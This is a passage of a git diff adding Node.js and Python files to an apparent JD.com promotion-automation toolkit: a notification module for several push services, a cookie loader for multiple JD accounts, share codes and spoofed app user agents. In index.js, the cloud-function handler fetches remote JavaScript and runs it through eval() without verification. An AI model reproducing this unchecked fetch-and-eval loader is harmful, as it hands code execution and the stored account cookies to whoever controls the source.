'); + var json = JSON.parse(data); + accesstoken = json.access_token; + let options; + + switch (QYWX_AM_AY[4]) { + case '0': + options = { + msgtype: 'textcard', + textcard: { + title: `${text}`, + description: `${desp}`, + url: 'https://github.com/whyour/qinglong', + btntxt: '更多', + }, + }; + break; + + case '1': + options = { + msgtype: 'text', + text: { + content: `${text}\n\n${desp}`, + }, + }; + break; + + default: + options = { + msgtype: 'mpnews', + mpnews: { + articles: [{ + title: `${text}`, + thumb_media_id: `${QYWX_AM_AY[4]}`, + author: `智能助手`, + content_source_url: ``, + content: `${html}`, + digest: `${desp}`, + }, ], + }, + }; + } + if (!QYWX_AM_AY[4]) { + //如不提供第四个参数,则默认进行文本消息类型推送 + options = { + msgtype: 'text', + text: { + content: `${text}\n\n${desp}`, + }, + }; + } + options = { + url: `https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=${accesstoken}`, + json: { + touser: `${ChangeUserId(desp)}`, + agentid: `${QYWX_AM_AY[3]}`, + safe: '0', + ...options, + }, + headers: { + 'Content-Type': 'application/json', + }, + }; + + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('成员ID:' + ChangeUserId(desp) + '企业微信应用消息发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('成员ID:' + ChangeUserId(desp) + '企业微信应用消息发送通知消息成功🎉。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }); + } else { + resolve(); + } + }); +} + +function iGotNotify(text, desp, params = {}) { + return new Promise((resolve) => { + if (IGOT_PUSH_KEY) { + // 校验传入的IGOT_PUSH_KEY是否有效 + const IGOT_PUSH_KEY_REGX = new RegExp('^[a-zA-Z0-9]{24}$'); + if (!IGOT_PUSH_KEY_REGX.test(IGOT_PUSH_KEY)) { + console.log('您所提供的IGOT_PUSH_KEY无效\n'); + resolve(); + return; + } + const options = { + url: `https://push.hellyw.com/${IGOT_PUSH_KEY.toLowerCase()}`, + body: `title=${text}&content=${desp}&${querystring.stringify(params)}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送通知调用API失败!!\n'); + console.log(err); + } else { + if (typeof data === 'string') + data = JSON.parse(data); + if (data.ret === 0) { + console.log('iGot发送通知消息成功🎉\n'); + } else { + console.log(`iGot发送通知消息失败:${data.errMsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} +function pushPlusNotifyhxtrip(text, desp) { + return new Promise((resolve) => { + if (PUSH_PLUS_TOKEN_hxtrip) { + desp = desp.replace(/[\n\r]/g, '
'); // 默认为html, 不支持plaintext + const body = { + token: `${PUSH_PLUS_TOKEN_hxtrip}`, + title: `${text}`, + content: `${desp}`, + topic: `${PUSH_PLUS_USER_hxtrip}`, + }; + const options = { + url: `http://pushplus.hxtrip.com/send`, + body: JSON.stringify(body), + headers: { + 'Content-Type': ' application/json', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`hxtrip push+发送${PUSH_PLUS_USER_hxtrip ? '一对多' : '一对一'}通知消息失败!!\n`); + PushErrorTime += 1; + console.log(err); + } else { + if (data.indexOf("200") > -1) { + console.log(`hxtrip push+发送${PUSH_PLUS_USER_hxtrip ? '一对多' : '一对一'}通知消息完成。\n`); + PushErrorTime = 0; + } else { + console.log(`hxtrip push+发送${PUSH_PLUS_USER_hxtrip ? '一对多' : '一对一'}通知消息失败:${data}\n`); + PushErrorTime += 1; + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function pushPlusNotify(text, desp) { + return new Promise((resolve) => { + if (PUSH_PLUS_TOKEN) { + desp = desp.replace(/[\n\r]/g, '
'); // 默认为html, 不支持plaintext + const body = { + token: `${PUSH_PLUS_TOKEN}`, + title: `${text}`, + content: `${desp}`, + topic: `${PUSH_PLUS_USER}`, + }; + const options = { + url: `https://www.pushplus.plus/send`, + body: JSON.stringify(body), + headers: { + 'Content-Type': ' application/json', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息失败!!\n`); + PushErrorTime += 1; + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息完成。\n`); + PushErrorTime = 0; + } else { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息失败:${data.msg}\n`); + PushErrorTime += 1; + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} +function wxpusherNotifyByOne(text, desp) { + return new Promise((resolve) => { + if (WP_APP_TOKEN_ONE) { + var WPURL = ""; + let uids = []; + for (let i of WP_UIDS_ONE.split(";")) { + if (i.length != 0) + uids.push(i); + }; + let topicIds = []; + const body = { + appToken: `${WP_APP_TOKEN_ONE}`, + content: `${text}\n\n${desp}`, + summary: `${text}`, + contentType: 1, + topicIds: topicIds, + uids: uids, + url: `${WPURL}`, + }; + const options = { + url: `http://wxpusher.zjiecode.com/api/send/message`, + body: JSON.stringify(body), + headers: { + "Content-Type": "application/json", + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log("WxPusher 发送通知调用 API 失败!!\n"); + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 1000) { + console.log("WxPusher 发送通知消息成功!\n"); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function wxpusherNotify(text, desp) { + return new Promise((resolve) => { + if (WP_APP_TOKEN) { + let uids = []; + for (let i of WP_UIDS.split(";")) { + if (i.length != 0) + uids.push(i); + }; + let topicIds = []; + for (let i of WP_TOPICIDS.split(";")) { + if (i.length != 0) + topicIds.push(i); + }; + const body = { + appToken: `${WP_APP_TOKEN}`, + content: `${text}\n\n${desp}`, + summary: `${text}`, + contentType: 1, + topicIds: topicIds, + uids: uids, + url: `${WP_URL}`, + }; + const options = { + url: `http://wxpusher.zjiecode.com/api/send/message`, + body: JSON.stringify(body), + headers: { + "Content-Type": "application/json", + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log("WxPusher 发送通知调用 API 失败!!\n"); + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 1000) { + console.log("WxPusher 发送通知消息成功!\n"); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function GetDateTime(date) { + + var timeString = ""; + + var timeString = date.getFullYear() + "-"; + if ((date.getMonth() + 1) < 10) + timeString += "0" + (date.getMonth() + 1) + "-"; + else + timeString += (date.getMonth() + 1) + "-"; + + if ((date.getDate()) < 10) + timeString += "0" + date.getDate() + " "; + else + timeString += date.getDate() + " "; + + if ((date.getHours()) < 10) + timeString += "0" + date.getHours() + ":"; + else + timeString += date.getHours() + ":"; + + if ((date.getMinutes()) < 10) + timeString += "0" + date.getMinutes() + ":"; + else + timeString += date.getMinutes() + ":"; + + if ((date.getSeconds()) < 10) + timeString += "0" + date.getSeconds(); + else + timeString += date.getSeconds(); + + return timeString; +} + +function GetnickName() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } + finally { + resolve(); + } + }) + }) +} + +function GetnickName2() { + return new Promise(async(resolve) => { + const options = { + url: `https://wxapp.m.jd.com/kwxhome/myJd/home.json?&useGuideModule=0&bizId=&brandId=&fromType=wxapp×tamp=${Date.now()}`, + headers: { + Cookie: cookie, + 'content-type': `application/x-www-form-urlencoded`, + Connection: `keep-alive`, + 'Accept-Encoding': `gzip,compress,br,deflate`, + Referer: `https://servicewechat.com/wxa5bf5ee667d91626/161/page-frame.html`, + Host: `wxapp.m.jd.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.10(0x18000a2a) NetType/WIFI Language/zh_CN`, + }, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + if (!data.user) { + $.isLogin = false; //cookie过期 + return; + } + const userInfo = data.user; + if (userInfo) { + $.nickName = userInfo.petName; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e); + } + finally { + resolve(); + } + }); + }); +} + +module.exports = { + sendNotify, + sendNotifybyWxPucher, + BARK_PUSH, +}; + +// prettier-ignore +function Env(t, s) { + return new(class { + constructor(t, s) { + (this.name = t), + (this.data = null), + (this.dataFile = 'box.dat'), + (this.logs = []), + (this.logSeparator = '\n'), + (this.startTime = new Date().getTime()), + Object.assign(this, s), + this.log('', `\ud83d\udd14${this.name}, \u5f00\u59cb!`); + } + isNode() { + return 'undefined' != typeof module && !!module.exports; + } + isQuanX() { + return 'undefined' != typeof $task; + } + isSurge() { + return 'undefined' != typeof $httpClient && 'undefined' == typeof $loon; + } + isLoon() { + return 'undefined' != typeof $loon; + } + getScript(t) { + return new Promise((s) => { + $.get({ + url: t + }, (t, e, i) => s(i)); + }); + } + runScript(t, s) { + return new Promise((e) => { + let i = this.getdata('@chavy_boxjs_userCfgs.httpapi'); + i = i ? i.replace(/\n/g, '').trim() : i; + let o = this.getdata('@chavy_boxjs_userCfgs.httpapi_timeout'); + (o = o ? 1 * o : 20), + (o = s && s.timeout ? s.timeout : o); + const[h, a] = i.split('@'), + r = { + url: `http://${a}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: 'cron', + timeout: o + }, + headers: { + 'X-Key': h, + Accept: '*/*' + }, + }; + $.post(r, (t, s, i) => e(i)); + }).catch((t) => this.logErr(t)); + } + loaddata() { + if (!this.isNode()) + return {}; { + (this.fs = this.fs ? this.fs : require('fs')), + (this.path = this.path ? this.path : require('path')); + const t = this.path.resolve(this.dataFile), + s = this.path.resolve(process.cwd(), this.dataFile), + e = this.fs.existsSync(t), + i = !e && this.fs.existsSync(s); + if (!e && !i) + return {}; { + const i = e ? t : s; + try { + return JSON.parse(this.fs.readFileSync(i)); + } catch (t) { + return {}; + } + } + } + } + writedata() { + if (this.isNode()) { + (this.fs = this.fs ? this.fs : require('fs')), + (this.path = this.path ? this.path : require('path')); + const t = this.path.resolve(this.dataFile), + s = this.path.resolve(process.cwd(), this.dataFile), + e = this.fs.existsSync(t), + i = !e && this.fs.existsSync(s), + o = JSON.stringify(this.data); + e ? this.fs.writeFileSync(t, o) : i ? this.fs.writeFileSync(s, o) : this.fs.writeFileSync(t, o); + } + } + lodash_get(t, s, e) { + const i = s.replace(/\[(\d+)\]/g, '.$1').split('.'); + let o = t; + for (const t of i) + if (((o = Object(o)[t]), void 0 === o)) + return e; + return o; + } + lodash_set(t, s, e) { + return Object(t) !== t ? t : (Array.isArray(s) || (s = s.toString().match(/[^.[\]]+/g) || []), (s.slice(0, -1).reduce((t, e, i) => (Object(t[e]) === t[e] ? t[e] : (t[e] = Math.abs(s[i + 1]) >> 0 == +s[i + 1] ? [] : {})), t)[s[s.length - 1]] = e), t); + } + getdata(t) { + let s = this.getval(t); + if (/^@/.test(t)) { + const[, e, i] = /^@(.*?)\.(.*?)$/.exec(t), + o = e ? this.getval(e) : ''; + if (o) + try { + const t = JSON.parse(o); + s = t ? this.lodash_get(t, i, '') : s; + } catch (t) { + s = ''; + } + } + return s; + } + setdata(t, s) { + let e = !1; + if (/^@/.test(s)) { + const[, i, o] = /^@(.*?)\.(.*?)$/.exec(s), + h = this.getval(i), + a = i ? ('null' === h ? null : h || '{}') : '{}'; + try { + const s = JSON.parse(a); + this.lodash_set(s, o, t), + (e = this.setval(JSON.stringify(s), i)); + } catch (s) { + const h = {}; + this.lodash_set(h, o, t), + (e = this.setval(JSON.stringify(h), i)); + } + } else + e = $.setval(t, s); + return e; + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? ((this.data = this.loaddata()), this.data[t]) : (this.data && this.data[t]) || null; + } + setval(t, s) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, s) : this.isQuanX() ? $prefs.setValueForKey(t, s) : this.isNode() ? ((this.data = this.loaddata()), (this.data[s] = t), this.writedata(), !0) : (this.data && this.data[s]) || null; + } + initGotEnv(t) { + (this.got = this.got ? this.got : require('got')), + (this.cktough = this.cktough ? this.cktough : require('tough-cookie')), + (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), + t && ((t.headers = t.headers ? t.headers : {}), void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)); + } + get(t, s = () => {}) { + t.headers && (delete t.headers['Content-Type'], delete t.headers['Content-Length']), + this.isSurge() || this.isLoon() ? $httpClient.get(t, (t, e, i) => { + !t && e && ((e.body = i), (e.statusCode = e.status)), + s(t, e, i); + }) : this.isQuanX() ? $task.fetch(t).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t)) : this.isNode() && (this.initGotEnv(t), this.got(t).on('redirect', (t, s) => { + try { + const e = t.headers['set-cookie'].map(this.cktough.Cookie.parse).toString(); + this.ckjar.setCookieSync(e, null), + (s.cookieJar = this.ckjar); + } catch (t) { + this.logErr(t); + } + }).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t))); + } + post(t, s = () => {}) { + if ((t.body && t.headers && !t.headers['Content-Type'] && (t.headers['Content-Type'] = 'application/x-www-form-urlencoded'), delete t.headers['Content-Length'], this.isSurge() || this.isLoon())) + $httpClient.post(t, (t, e, i) => { + !t && e && ((e.body = i), (e.statusCode = e.status)), + s(t, e, i); + }); + else if (this.isQuanX()) + (t.method = 'POST'), $task.fetch(t).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: e, + ...i + } = t; + this.got.post(e, i).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t)); + } + } + time(t) { + let s = { + 'M+': new Date().getMonth() + 1, + 'd+': new Date().getDate(), + 'H+': new Date().getHours(), + 'm+': new Date().getMinutes(), + 's+': new Date().getSeconds(), + 'q+': Math.floor((new Date().getMonth() + 3) / 3), + S: new Date().getMilliseconds(), + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + '').substr(4 - RegExp.$1.length))); + for (let e in s) + new RegExp('(' + e + ')').test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ('00' + s[e]).substr(('' + s[e]).length))); + return t; + } + msg(s = t, e = '', i = '', o) { + const h = (t) => !t || (!this.isLoon() && this.isSurge()) ? t : 'string' == typeof t ? this.isLoon() ? t : this.isQuanX() ? { + 'open-url': t + } + : void 0 : 'object' == typeof t && (t['open-url'] || t['media-url']) ? this.isLoon() ? t['open-url'] : this.isQuanX() ? t : void 0 : void 0; + $.isMute || (this.isSurge() || this.isLoon() ? $notification.post(s, e, i, h(o)) : this.isQuanX() && $notify(s, e, i, h(o))), + this.logs.push('', '==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============='), + this.logs.push(s), + e && this.logs.push(e), + i && this.logs.push(i); + } + log(...t) { + t.length > 0 ? (this.logs = [...this.logs, ...t]) : console.log(this.logs.join(this.logSeparator)); + } + logErr(t, s) { + const e = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + e ? $.log('', `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack) : $.log('', `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t); + } + wait(t) { + return new Promise((s) => setTimeout(s, t)); + } + done(t = {}) { + const s = new Date().getTime(), + e = (s - this.startTime) / 1e3; + this.log('', `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${e} \u79d2`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t); + } + })(t, s); +} diff --git a/index.js b/index.js new file mode 100644 index 0000000..525cdf8 --- /dev/null +++ b/index.js @@ -0,0 +1,40 @@ +//'use strict'; +exports.main_handler = async (event, context, callback) => { + try { + const { TENCENTSCF_SOURCE_TYPE, TENCENTSCF_SOURCE_URL } = process.env + //如果想在一个定时触发器里面执行多个js文件需要在定时触发器的【附加信息】里面填写对应的名称,用 & 链接 + //例如我想一个定时触发器里执行jd_speed.js和jd_bean_change.js,在定时触发器的【附加信息】里面就填写 jd_speed&jd_bean_change + for (const v of event["Message"].split("&")) { + console.log(v); + var request = require('request'); + switch (TENCENTSCF_SOURCE_TYPE) { + case 'local': + //1.执行自己上传的js文件 + delete require.cache[require.resolve('./'+v+'.js')]; + require('./'+v+'.js') + break; + case 'git': + //2.执行github远端的js文件(因github的raw类型的文件被墙,此方法云函数不推荐) + request(`https://raw.githubusercontent.com/xxx/jd_scripts/master/${v}.js`, function (error, response, body) { + eval(response.body) + }) + break; + case 'custom': + //3.执行自定义远端js文件网址 + if (!TENCENTSCF_SOURCE_URL) return console.log('自定义模式需要设置TENCENTSCF_SOURCE_URL变量') + request(`${TENCENTSCF_SOURCE_URL}${v}.js`, function (error, response, body) { + eval(response.body) + }) + break; + default: + //4.执行国内gitee远端的js文件(如果部署在国内节点,选择1或3。默认使用gitee的方式) + request(`${v}.js`, function (error, response, body) { + eval(response.body) + }) + break; + } + } + } catch (e) { + console.error(e) + } +} diff --git a/jdCookie.js b/jdCookie.js new file mode 100644 index 0000000..28631e1 --- /dev/null +++ b/jdCookie.js @@ -0,0 +1,101 @@ +/* +================================================================================ +魔改自 https://github.com/shufflewzc/faker2/blob/main/jdCookie.js +修改内容:与task_before.sh配合,由task_before.sh设置要设置要做互助的活动的 ShareCodeConfigName 和 ShareCodeEnvName 环境变量, + 然后在这里实际解析/ql/log/.ShareCode中该活动对应的配置信息(由code.sh生成和维护),注入到nodejs的环境变量中 +修改原因:原先的task_before.sh直接将互助信息注入到shell的env中,在ck超过45以上时,互助码环境变量过大会导致调用一些系统命令 + (如date/cat)时报 Argument list too long,而在node中修改环境变量不会受这个限制,也不会影响外部shell环境,确保脚本可以正常运行 +魔改作者:风之凌殇 +================================================================================ + +此文件为Node.js专用。其他用户请忽略 + */ +//此处填写京东账号cookie。 +let CookieJDs = [ +] +// 判断环境变量里面是否有京东ck +if (process.env.JD_COOKIE) { + if (process.env.JD_COOKIE.indexOf('&') > -1) { + CookieJDs = process.env.JD_COOKIE.split('&'); + } else if (process.env.JD_COOKIE.indexOf('\n') > -1) { + CookieJDs = process.env.JD_COOKIE.split('\n'); + } else { + CookieJDs = [process.env.JD_COOKIE]; + } +} +if (JSON.stringify(process.env).indexOf('GITHUB')>-1) { + console.log(`请勿使用github action运行此脚本,无论你是从你自己的私库还是其他哪里拉取的源代码,都会导致我被封号\n`); + !(async () => { + await require('./sendNotify').sendNotify('提醒', `请勿使用github action、滥用github资源会封我仓库以及账号`) + await process.exit(0); + })() +} +CookieJDs = [...new Set(CookieJDs.filter(item => !!item))] +console.log(`\n====================共${CookieJDs.length}个京东账号Cookie=========\n`); +console.log(`==================脚本执行- 北京时间(UTC+8):${new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString('zh', {hour12: false}).replace(' 24:',' 00:')}=====================\n`) +if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +for (let i = 0; i < CookieJDs.length; i++) { + if (!CookieJDs[i].match(/pt_pin=(.+?);/) || !CookieJDs[i].match(/pt_key=(.+?);/)) console.log(`\n提示:京东cookie 【${CookieJDs[i]}】填写不规范,可能会影响部分脚本正常使用。正确格式为: pt_key=xxx;pt_pin=xxx;(分号;不可少)\n`); + const index = (i + 1 === 1) ? '' : (i + 1); + exports['CookieJD' + index] = CookieJDs[i].trim(); +} + +// 以下为注入互助码环境变量(仅nodejs内起效)的代码 +function SetShareCodesEnv(nameConfig = "", envName = "") { + let rawCodeConfig = {} + + // 读取互助码 + shareCodeLogPath = `${process.env.QL_DIR}/log/.ShareCode/${nameConfig}.log` + let fs = require('fs') + if (fs.existsSync(shareCodeLogPath)) { + // 因为faker2目前没有自带ini,改用已有的dotenv来解析 + // // 利用ini模块读取原始互助码和互助组信息 + // let ini = require('ini') + // rawCodeConfig = ini.parse(fs.readFileSync(shareCodeLogPath, 'utf-8')) + + // 使用env模块 + require('dotenv').config({path: shareCodeLogPath}) + rawCodeConfig = process.env + } + + // 解析每个用户的互助码 + codes = {} + Object.keys(rawCodeConfig).forEach(function (key) { + if (key.startsWith(`My${nameConfig}`)) { + codes[key] = rawCodeConfig[key] + } + }); + + // 解析每个用户要帮助的互助码组,将用户实际的互助码填充进去 + let helpOtherCodes = {} + Object.keys(rawCodeConfig).forEach(function (key) { + if (key.startsWith(`ForOther${nameConfig}`)) { + helpCode = rawCodeConfig[key] + for (const [codeEnv, codeVal] of Object.entries(codes)) { + helpCode = helpCode.replace("${" + codeEnv + "}", codeVal) + } + + helpOtherCodes[key] = helpCode + } + }); + + // 按顺序用&拼凑到一起,并放入环境变量,供目标脚本使用 + let shareCodes = [] + let totalCodeCount = Object.keys(helpOtherCodes).length + for (let idx = 1; idx <= totalCodeCount; idx++) { + shareCodes.push(helpOtherCodes[`ForOther${nameConfig}${idx}`]) + } + let shareCodesStr = shareCodes.join('&') + process.env[envName] = shareCodesStr + + console.info(`【风之凌殇】 友情提示:为避免ck超过45以上时,互助码环境变量过大而导致调用一些系统命令(如date/cat)时报 Argument list too long,改为在nodejs中设置 ${nameConfig} 的 互助码环境变量 ${envName},共计 ${totalCodeCount} 组互助码,总大小为 ${shareCodesStr.length}`) +} + +// 若在task_before.sh 中设置了要设置互助码环境变量的活动名称和环境变量名称信息,则在nodejs中处理,供活动使用 +let nameConfig = process.env.ShareCodeConfigName +let envName = process.env.ShareCodeEnvName +if (nameConfig && envName) { + SetShareCodesEnv(nameConfig, envName) +} else { + console.debug(`OKYYDS 友情提示:您的脚本正常运行中`) +} \ No newline at end of file diff --git a/jdDreamFactoryShareCodes.js b/jdDreamFactoryShareCodes.js new file mode 100644 index 0000000..7f0bc1b --- /dev/null +++ b/jdDreamFactoryShareCodes.js @@ -0,0 +1,37 @@ +/* +京喜工厂互助码 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写东东萌宠的好友码。 +// 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +let shareCodes = [ + 'V5LkjP4WRyjeCKR9VRwcRX0bBuTz7MEK0-E99EJ7u0k=@Bo-jnVs_m9uBvbRzraXcSA==@-OvElMzqeyeGBWazWYjI1Q==',//账号一的好友shareCode,不同好友中间用@符号隔开 + '-OvElMzqeyeGBWazWYjI1Q==',//账号二的好友shareCode,不同好友中间用@符号隔开 +] + +// 从日志获取互助码 +// const logShareCodes = require('./utils/jdShareCodes'); +// if (logShareCodes.DREAM_FACTORY_SHARE_CODES.length > 0 && !process.env.DREAM_FACTORY_SHARE_CODES) { +// process.env.DREAM_FACTORY_SHARE_CODES = logShareCodes.DREAM_FACTORY_SHARE_CODES.join('&'); +// } + +// 判断环境变量里面是否有京喜工厂互助码 +if (process.env.DREAM_FACTORY_SHARE_CODES) { + if (process.env.DREAM_FACTORY_SHARE_CODES.indexOf('&') > -1) { + console.log(`您的互助码选择的是用&隔开\n`) + shareCodes = process.env.DREAM_FACTORY_SHARE_CODES.split('&'); + } else if (process.env.DREAM_FACTORY_SHARE_CODES.indexOf('\n') > -1) { + console.log(`您的互助码选择的是用换行隔开\n`) + shareCodes = process.env.DREAM_FACTORY_SHARE_CODES.split('\n'); + } else { + shareCodes = process.env.DREAM_FACTORY_SHARE_CODES.split(); + } +} else { + console.log(`由于您环境变量(DREAM_FACTORY_SHARE_CODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +for (let i = 0; i < shareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['shareCodes' + index] = shareCodes[i]; +} diff --git a/jdEnv.py b/jdEnv.py new file mode 100644 index 0000000..7cb318a --- /dev/null +++ b/jdEnv.py @@ -0,0 +1,67 @@ +import os +import random +import re + + +def env(key): + return os.environ.get(key) + + +# 宠汪汪 +JD_JOY_REWARD_NAME = 500 # 默认500 +if env("JD_JOY_REWARD_NAME"): + JD_JOY_REWARD_NAME = int(env("JD_JOY_REWARD_NAME")) + +# Cookie +cookies = [] +if env("JD_COOKIE"): + cookies.extend(env("JD_COOKIE").split('&')) + +# UA +USER_AGENTS = [ + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;9;network/4g;Mozilla/5.0 (Linux; Android 9; Mi Note 3 Build/PKQ1.181007.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; GM1910 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; 16T Build/PKQ1.190616.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.5;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.7;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) 